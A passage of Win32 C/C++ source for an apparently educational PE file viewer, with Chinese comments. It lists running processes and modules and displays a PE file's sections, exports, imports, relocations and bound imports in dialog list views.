    		vitem.iSubItem = 2;				
    		ListView_SetItem(hListProcess, &vitem);
    				
    		sprintf(szImageBase,"%08x",te.modBaseSize);
    		vitem.pszText = szImageBase;				
    		vitem.iItem = i;				
    		vitem.iSubItem = 3;				
    		ListView_SetItem(hListProcess, &vitem);	
    		}
    				
    		CloseHandle(hShot);
    		i++;
    		bProcess = Process32Next(hProcessSnap, &pe32);
    	}
    	CloseHandle(hProcessSnap);
    
    
    					
    	/*			
    								
    								
    					
    	vitem.pszText = TEXT("000F0000");				
    	vitem.iItem = 0;				
    	vitem.iSubItem = 3;				
    	ListView_SetItem(hListProcess, &vitem);				
    					
    	vitem.pszText = TEXT("winlogon.exe");				
    	vitem.iItem = 1;				
    	vitem.iSubItem = 0;				
    	//ListView_InsertItem(hListProcess, &vitem);				
    	SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);				
    					
    	vitem.pszText = TEXT("456");				
    	vitem.iSubItem = 1;				
    	ListView_SetItem(hListProcess, &vitem);				
    					
    	vitem.pszText = TEXT("10000000");				
    	vitem.iSubItem = 2;				
    	ListView_SetItem(hListProcess, &vitem);				
    					
    	vitem.pszText = TEXT("000045800");				
    	vitem.iSubItem = 3;				
    	ListView_SetItem(hListProcess, &vitem);		*/	
    
    }
    VOID InitProcessListView(HWND hDlg)
    {
    	LV_COLUMN lv;							
    	HWND hListProcess;							
    								
    	//初始化							
    	memset(&lv,0,sizeof(LV_COLUMN));							
    	//获取IDC_LIST_PROCESS句柄							
    	hListProcess = GetDlgItem(hDlg,IDC_PROCESS1);							
    	//设置整行选中							
    	SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
    								
    	//第一列							
    	lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    	lv.pszText = TEXT("进程");				//列标题			
    	lv.cx = 200;							
    	lv.iSubItem = 0;							
    	//ListView_InsertColumn(hListProcess, 0, &lv);							
    	SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);							
    	//第二列							
    	lv.pszText = TEXT("PID");							
    	lv.cx = 100;							
    	lv.iSubItem = 1;							
    	//ListView_InsertColumn(hListProcess, 1, &lv);							
    	SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);							
    	//第三列							
    	lv.pszText = TEXT("镜像基址");							
    	lv.cx = 100;							
    	lv.iSubItem = 2;							
    	ListView_InsertColumn(hListProcess, 2, &lv);							
    	//第四列							
    	lv.pszText = TEXT("镜像大小");							
    	lv.cx = 100;							
    	lv.iSubItem = 3;							
    	ListView_InsertColumn(hListProcess, 3, &lv);
    	EnumProcess(hListProcess);
    
    }
    
    VOID InitProcessListView_down(HWND hDlg)
    {
    	LV_COLUMN lv;							
    	HWND hListProcess;							
    								
    	//初始化							
    	memset(&lv,0,sizeof(LV_COLUMN));							
    	//获取IDC_LIST_PROCESS句柄							
    	hListProcess = GetDlgItem(hDlg,IDC_PROCESS2);							
    	//设置整行选中							
    	SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
    								
    	//第一列							
    	lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    	lv.pszText = TEXT("模块名称");				//列标题			
    	lv.cx = 260;							
    	lv.iSubItem = 0;							
    	//ListView_InsertColumn(hListProcess, 0, &lv);							
    	SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);							
    	//第二列							
    	lv.pszText = TEXT("模块位置");							
    	lv.cx = 400;							
    	lv.iSubItem = 1;							
    	//ListView_InsertColumn(hListProcess, 1, &lv);							
    	SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);							
    	
    
    }
    BOOL CALLBACK SECTION_DEAL(									
    						 HWND hwndDlg,  // handle to dialog box			
    						 UINT uMsg,     // message			
    						 WPARAM wParam, // first message parameter			
    						 LPARAM lParam  // second message parameter			
    						 )			
    {
    	switch(uMsg)
    	{
    	case WM_CLOSE:
    		{
    			EndDialog(hwndDlg,0);
    			break;
    		}
    	case WM_INITDIALOG:
    		{
    			LV_COLUMN lv;							
    			HWND hListProcess;							
    										
    			//初始化							
    			memset(&lv,0,sizeof(LV_COLUMN));							
    			//获取IDC_LIST_PROCESS句柄							
    			hListProcess = GetDlgItem(hwndDlg,IDC_LIST12);							
    			//设置整行选中							
    			SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
    										
    			//第一列							
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("NAME");				//列标题			
    			lv.cx = 60;							
    			lv.iSubItem = 0;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("Virtual Size");				//列标题			
    			lv.cx = 125;							
    			lv.iSubItem = 1;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("Virtual Offset");				//列标题			
    			lv.cx = 125;							
    			lv.iSubItem = 2;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("RAW Size");				//列标题			
    			lv.cx = 100;							
    			lv.iSubItem = 3;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("Raw Offset");				//列标题			
    			lv.cx = 100;							
    			lv.iSubItem = 4;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,4,(DWORD)&lv);
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("Characters");				//列标题			
    			lv.cx = 100;							
    			lv.iSubItem = 5;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,5,(DWORD)&lv);
    
    			
    			LV_ITEM vitem;				
    				
    			//初始化				
    			memset(&vitem,0,sizeof(LV_ITEM));				
    			vitem.mask = LVIF_TEXT;	
    			char* start = get_file();
    			char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
    			for(int i=0;i<headers_file.NumberOfSections;i++){
    				sections.PointerToRawData = get_int_data(start_section,20);
    				sections.SizeOfRawData = get_int_data(start_section,16);
    				sections.VirtualAddress = get_int_data(start_section,12);
    				sections.VirtualSize = get_int_data(start_section,8);
    				sections.Characteristics = get_int_data(start_section,36);
    
    				vitem.pszText = start_section;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 0;	//第二列		
    				SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
    				
    				TCHAR info[0x20];
    				sprintf(info,"%08x",sections.VirtualSize);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 1;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    
    				sprintf(info,"%08x",sections.VirtualAddress);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 2;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    
    				sprintf(info,"%08x",sections.SizeOfRawData);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 3;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    
    
    				sprintf(info,"%08x",sections.PointerToRawData);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 4;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    
    				sprintf(info,"%08x",sections.Characteristics);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 5;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    
    				start_section = start_section+40;
    
    
    			}
    		}
    
    	}
    	return false;
    }
    BOOL CALLBACK DIRECTION1_DEAL(									
    						 HWND hwndDlg,  // handle to dialog box			
    						 UINT uMsg,     // message			
    						 WPARAM wParam, // first message parameter			
    						 LPARAM lParam  // second message parameter			
    						 )			
    {
    	switch(uMsg)
    	{
    	case WM_CLOSE:
    		{
    			EndDialog(hwndDlg,0);
    			break;
    		}
    	case WM_INITDIALOG:
    		{
    			LV_COLUMN lv;							
    			HWND hListProcess;							
    										
    			//初始化							
    			memset(&lv,0,sizeof(LV_COLUMN));							
    			//获取IDC_LIST_PROCESS句柄							
    			hListProcess = GetDlgItem(hwndDlg,IDC_LIST122);							
    			//设置整行选中							
    			SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
    										
    			//第一列							
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("序号");				//列标题			
    			lv.cx = 60;							
    			lv.iSubItem = 0;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("RVA");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 1;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("offset");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 2;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("函数名");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 3;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
    
    			get_export_Info();
    			HWND hwnd = GetDlgItem(hwndDlg, IDC_EDIT1);
    			TCHAR info[0x30];
    			sprintf(info,"%08x",export.Time);
    			SetWindowText(hwnd, info); 
    
    			hwnd = GetDlgItem(hwndDlg, IDC_EDIT16);
    			SetWindowText(hwnd, export.Name);
    
    			hwnd = GetDlgItem(hwndDlg, IDC_EDIT5);
    			sprintf(info,"%08x",export.NumberOfFunctions);
    			SetWindowText(hwnd, info);
    			
    			hwnd = GetDlgItem(hwndDlg, IDC_EDIT7);
    			sprintf(info,"%08x",export.NumberOfNames);
    			SetWindowText(hwnd, info);
    
    			hwnd = GetDlgItem(hwndDlg, IDC_EDIT2);
    			sprintf(info,"%08x",export.AddressOfFunctions);
    			SetWindowText(hwnd, info);
    
    			hwnd = GetDlgItem(hwndDlg, IDC_EDIT4);
    			sprintf(info,"%08x",export.AddressOfNames);
    			SetWindowText(hwnd, info);
    
    			hwnd = GetDlgItem(hwndDlg, IDC_EDIT6);
    			sprintf(info,"%08x",export.AddressOfNameOrdinals);
    			SetWindowText(hwnd, info);
    
    			hwnd = GetDlgItem(hwndDlg, IDC_EDIT8);
    			sprintf(info,"%08x",export.Base);
    			SetWindowText(hwnd, info);
    
    				LV_ITEM vitem;				
    				
    			//初始化				
    			memset(&vitem,0,sizeof(LV_ITEM));				
    			vitem.mask = LVIF_TEXT;	
    			char* start = get_file();
    			for(int i=0;i<export.NumberOfFunctions;i++){
    				export.RVA = get_int_data(start+Rva_to_Foa(export.AddressOfFunctions,start),4*i);
    				export.Name_fun = start + get_int_data(start+Rva_to_Foa(export.AddressOfNames,start),4*i);
    				export.ordinal = get_short_data(start+Rva_to_Foa(export.AddressOfNameOrdinals,start),2*i);
    				sprintf(info,"%04x",export.ordinal+export.Base);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 0;	//第二列		
    				SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
    				sprintf(info,"%08x",export.RVA);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 1;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    
    				sprintf(info,"%08x",export.RVA);
    				vitem.pszText = info;						
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 2;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    
    				vitem.pszText = export.Name_fun;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 3;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    
    			}
    			free(start);
    		}
    		case WM_COMMAND:
    		{
    		switch(LOWORD(wParam))
    		{
    		case IDC_BUTTON1:
    			{
    				EndDialog(hwndDlg,0);
    				break;
    			}
    		}
    		}
    	}
    	return false;
    }
    BOOL CALLBACK DIRECTION2_DEAL(									
    						 HWND hwndDlg,  // handle to dialog box			
    						 UINT uMsg,     // message			
    						 WPARAM wParam, // first message parameter			
    						 LPARAM lParam  // second message parameter			
    						 )			
    {
    	switch(uMsg)
    	{
    	case WM_CLOSE:
    		{
    			EndDialog(hwndDlg,0);
    			break;
    		}
    	case WM_INITDIALOG:
    		{
    			LV_COLUMN lv;							
    			HWND hListProcess;							
    										
    			//初始化							
    			memset(&lv,0,sizeof(LV_COLUMN));							
    			//获取IDC_LIST_PROCESS句柄							
    			hListProcess = GetDlgItem(hwndDlg,IDC_LIST111);							
    			//设置整行选中							
    			SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
    										
    			//第一列							
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("DLL NAME");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 0;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("original thunk");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 1;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("Timestamp");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 2;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("first thunk");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 3;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
    
    				LV_ITEM vitem;				
    				
    			//初始化				
    			memset(&vitem,0,sizeof(LV_ITEM));				
    			vitem.mask = LVIF_TEXT;	
    			char* start = get_file();
    			int virtualAddress = get_int_data(start,headers_file.e_lfanew+128);
    			int fileAddress = Rva_to_Foa(virtualAddress,start);
    			char* export_start;
    			export_start = start+fileAddress;
    			int i =0;
    			TCHAR info[0x30];
    			while(1){
    				int original_thunk = get_int_data(export_start,0);
    				int file_orginal_thunk = Rva_to_Foa(original_thunk,start);
    				int Name = get_int_data(export_start,12);
    				int Name_file = Rva_to_Foa(Name,start);
    				int first_thunk = get_int_data(export_start,16);
    				int file_first_thunk = Rva_to_Foa(first_thunk,start);
    				int Timestamp = get_int_data(export_start,4);
    				if(original_thunk==0&&Name==0&&first_thunk==0){
    					break;
    				}
    				vitem.pszText = start+Name_file;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 0;	//第二列		
    				SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
    
    				sprintf(info,"%08x",original_thunk);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 1;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    
    				sprintf(info,"%08x",Timestamp);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 2;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    
    				sprintf(info,"%08x",first_thunk);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 3;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    				export_start = export_start+20;
    				i++;
    					}
    			free(start);
    										
    										
    			//初始化							
    			memset(&lv,0,sizeof(LV_COLUMN));							
    			//获取IDC_LIST_PROCESS句柄							
    			hListProcess = GetDlgItem(hwndDlg,IDC_LIST112);							
    			//设置整行选中							
    			SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
    										
    			//第一列							
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("API NAME");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 0;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("Thunk RVA");				//列标题			
    			lv.cx = 120;							
    			lv.iSubItem = 1;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("Thunk Offset");				//列标题			
    			lv.cx = 120;							
    			lv.iSubItem = 2;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);
    
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("Hint");				//列标题			
    			lv.cx = 120;							
    			lv.iSubItem = 3;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
    				}
    			case WM_NOTIFY:
    		{
    			NMHDR* pNMHDR = (NMHDR*)lParam;
    			if(wParam == IDC_LIST111 && pNMHDR->code == NM_CLICK)
    			{
    				EnumModules_import(GetDlgItem(hwndDlg,IDC_LIST111),wParam,lParam,GetDlgItem(hwndDlg,IDC_LIST112));
    			}
    		}
    			case WM_COMMAND:
    				{
    				switch(LOWORD(wParam))
    				{
    				case IDC_BUTTON1:
    					{
    						EndDialog(hwndDlg,0);
    						break;
    					}
    				}
    				}
    	}
    	return false;
    }
    BOOL CALLBACK DIRECTION3_DEAL(									
    						 HWND hwndDlg,  // handle to dialog box			
    						 UINT uMsg,     // message			
    						 WPARAM wParam, // first message parameter			
    						 LPARAM lParam  // second message parameter			
    						 )			
    {
    	switch(uMsg)
    	{
    	case WM_CLOSE:
    		{
    			EndDialog(hwndDlg,0);
    			break;
    		}
    	case WM_INITDIALOG:
    		{
    
    		}
    
    	}
    	return false;
    }
    BOOL CALLBACK DIRECTION4_DEAL(									
    						 HWND hwndDlg,  // handle to dialog box			
    						 UINT uMsg,     // message			
    						 WPARAM wParam, // first message parameter			
    						 LPARAM lParam  // second message parameter			
    						 )			
    {
    	switch(uMsg)
    	{
    	case WM_CLOSE:
    		{
    			EndDialog(hwndDlg,0);
    			break;
    		}
    	case WM_INITDIALOG:
    		{
    			LV_COLUMN lv;							
    			HWND hListProcess;							
    										
    			//初始化							
    			memset(&lv,0,sizeof(LV_COLUMN));							
    			//获取IDC_LIST_PROCESS句柄							
    			hListProcess = GetDlgItem(hwndDlg,IDC_LIST141);							
    			//设置整行选中							
    			SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
    										
    			//第一列							
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("INDEX");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 0;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("Offset");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 1;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("RVA");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 2;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("Size of Block");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 3;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
    
    			LV_ITEM vitem;				
    				
    			//初始化				
    			memset(&vitem,0,sizeof(LV_ITEM));				
    			vitem.mask = LVIF_TEXT;	
    			char* start = get_file();
    			int virtualAddress = get_int_data(start,headers_file.e_lfanew+120+8*5);
    			int fileAddress = Rva_to_Foa(virtualAddress,start);
    			char* relocation_start;
    			//printf("%x",fileAddress);
    			relocation_start = start+fileAddress;
    			//int RVA = get_int_data(relocation_start,0);
    			int i = 0;
    			TCHAR info[0x20];
    			while(1){
    				int RVA = get_int_data(relocation_start,0);
    				int offset = Rva_to_Foa(RVA,start);
    				int Size_of_Block = get_int_data(relocation_start,4);
    				if(RVA==0&&Size_of_Block==0){
    					break;
    				}
    				//printf("RVA: %x	Size_of_Block: %x
    ",RVA,Size_of_Block);
    				sprintf(info,"%d",i+1);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 0;	//第二列		
    				SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
    				
    				sprintf(info,"%08x",RVA);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 1;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    
    				sprintf(info,"%08x",offset);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 2;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    
    				sprintf(info,"%08x",Size_of_Block);
    				vitem.pszText = info;				
    				vitem.iItem = i;//第一行				
    				vitem.iSubItem = 3 ;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    				
    				i++;
    				relocation_start = relocation_start + Size_of_Block;
    			}
    			free(start);
    //*******************************************************************************************************//
    			hListProcess = GetDlgItem(hwndDlg,IDC_LIST142);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("INDEX");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 0;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("RVA");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 1;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("Offset");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 2;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("TYPE");				//列标题			
    			lv.cx = 150;							
    			lv.iSubItem = 3;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv);
    			
    		}
    		case WM_NOTIFY:
    		{
    			NMHDR* pNMHDR = (NMHDR*)lParam;
    			if(wParam == IDC_LIST141 && pNMHDR->code == NM_CLICK)
    			{
    				EnumModules_re(GetDlgItem(hwndDlg,IDC_LIST141),wParam,lParam,GetDlgItem(hwndDlg,IDC_LIST142));
    			}
    		}
    	case WM_COMMAND:
    		{
    			switch(LOWORD(wParam))
    			{
    			case IDC_BUTTON1:
    			{
    				EndDialog(hwndDlg,0);
    				break;
    			}
    			}
    		}
    
    	}
    	return false;
    }
    BOOL CALLBACK DIRECTION5_DEAL(									
    						 HWND hwndDlg,  // handle to dialog box			
    						 UINT uMsg,     // message			
    						 WPARAM wParam, // first message parameter			
    						 LPARAM lParam  // second message parameter			
    						 )			
    {
    	switch(uMsg)
    	{
    	case WM_CLOSE:
    		{
    			EndDialog(hwndDlg,0);
    			break;
    		}
    	case WM_INITDIALOG:
    		{
    			LV_COLUMN lv;							
    			HWND hListProcess;							
    										
    			//初始化							
    			memset(&lv,0,sizeof(LV_COLUMN));							
    			//获取IDC_LIST_PROCESS句柄							
    			hListProcess = GetDlgItem(hwndDlg,IDC_LIST151);							
    			//设置整行选中							
    			SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);							
    										
    			//第一列							
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("DLL NAME");				//列标题			
    			lv.cx = 200;							
    			lv.iSubItem = 0;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
    
    			lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;							
    			lv.pszText = TEXT("TimeStamp");				//列标题			
    			lv.cx = 200;							
    			lv.iSubItem = 1;							
    			//ListView_InsertColumn(hListProcess, 0, &lv);							
    			SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
    
    
    				
    			LV_ITEM vitem;				
    				
    			//初始化				
    			memset(&vitem,0,sizeof(LV_ITEM));				
    			vitem.mask = LVIF_TEXT;	
    			char* start = get_file();
    			int virtualAddress = get_int_data(start,headers_file.e_lfanew+120+8*11);
    			int fileAddress = Rva_to_Foa(virtualAddress,start);
    			//printf("%x",fileAddress);
    			char* export_start;
    			//printf("%x",fileAddress);
    			export_start = start+fileAddress;
    			int j=0;
    			TCHAR info[0x20];
    			while(1){
    				int timestamp = get_int_data(export_start,0);
    				short name_offset = get_short_data(export_start,4);
    				short num = get_short_data(export_start,6);
    				if(timestamp==0&&name_offset==0&&num==0){break;}							
    
    				vitem.pszText = start+fileAddress+name_offset;				
    				vitem.iItem = j;//第一行				
    				vitem.iSubItem = 0;	//第二列		
    				SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
    				
    				sprintf(info,"%08x",timestamp);
    				vitem.pszText = info;				
    				vitem.iItem = j;//第一行				
    				vitem.iSubItem = 1;	//第二列		
    				ListView_SetItem(hListProcess, &vitem);
    
    				int i;
    				for(i=0;i<num;i++){
    				timestamp = get_int_data(export_start,8*i);
    				name_offset = get_short_data(export_start,4+8*i);
    				}
    				export_start = export_start+8+8*num;
    				j++;
    			}
    		}
    	case WM_COMMAND:
    		{
    		switch(LOWORD(wParam))
    		{
    		case IDC_BUTTON1:
    		{
    			EndDialog(hwndDlg,0);
    			break;
    		}
    		}
    	}
    
    	}
    	return false;
    }
    BOOL CALLBACK DIRECTION6_DEAL(									
    						 HWND hwndDlg,  // handle to dialog box			
    						 UINT uMsg,     // message			
    						 WPARAM wParam, // first message parameter			
    						 LPARAM lParam  // second message parameter			
    						 )			
    {
    	switch(uMsg)
    	{
    	case WM_CLOSE:
    		{
    			EndDialog(hwndDlg,0);
    			break;
    		}
    	case WM_INITDIALOG:
    		{
    
    		}
    
    	}
    	return false;
    }
    BOOL CALLBACK DIRECTION_DEAL(									
    						 HWND hwndDlg,  // handle to dialog box			
    						 UINT uMsg,     // message			
    						 WPARAM wParam, // first message parameter			
    						 LPARAM lParam  // second message parameter			
    						 )			
    {
    	switch(uMsg)
    	{
    	case WM_CLOSE:
    		{
    			EndDialog(hwndDlg,0);
    			break;
    		}
    	case WM_INITDIALOG:
    		{
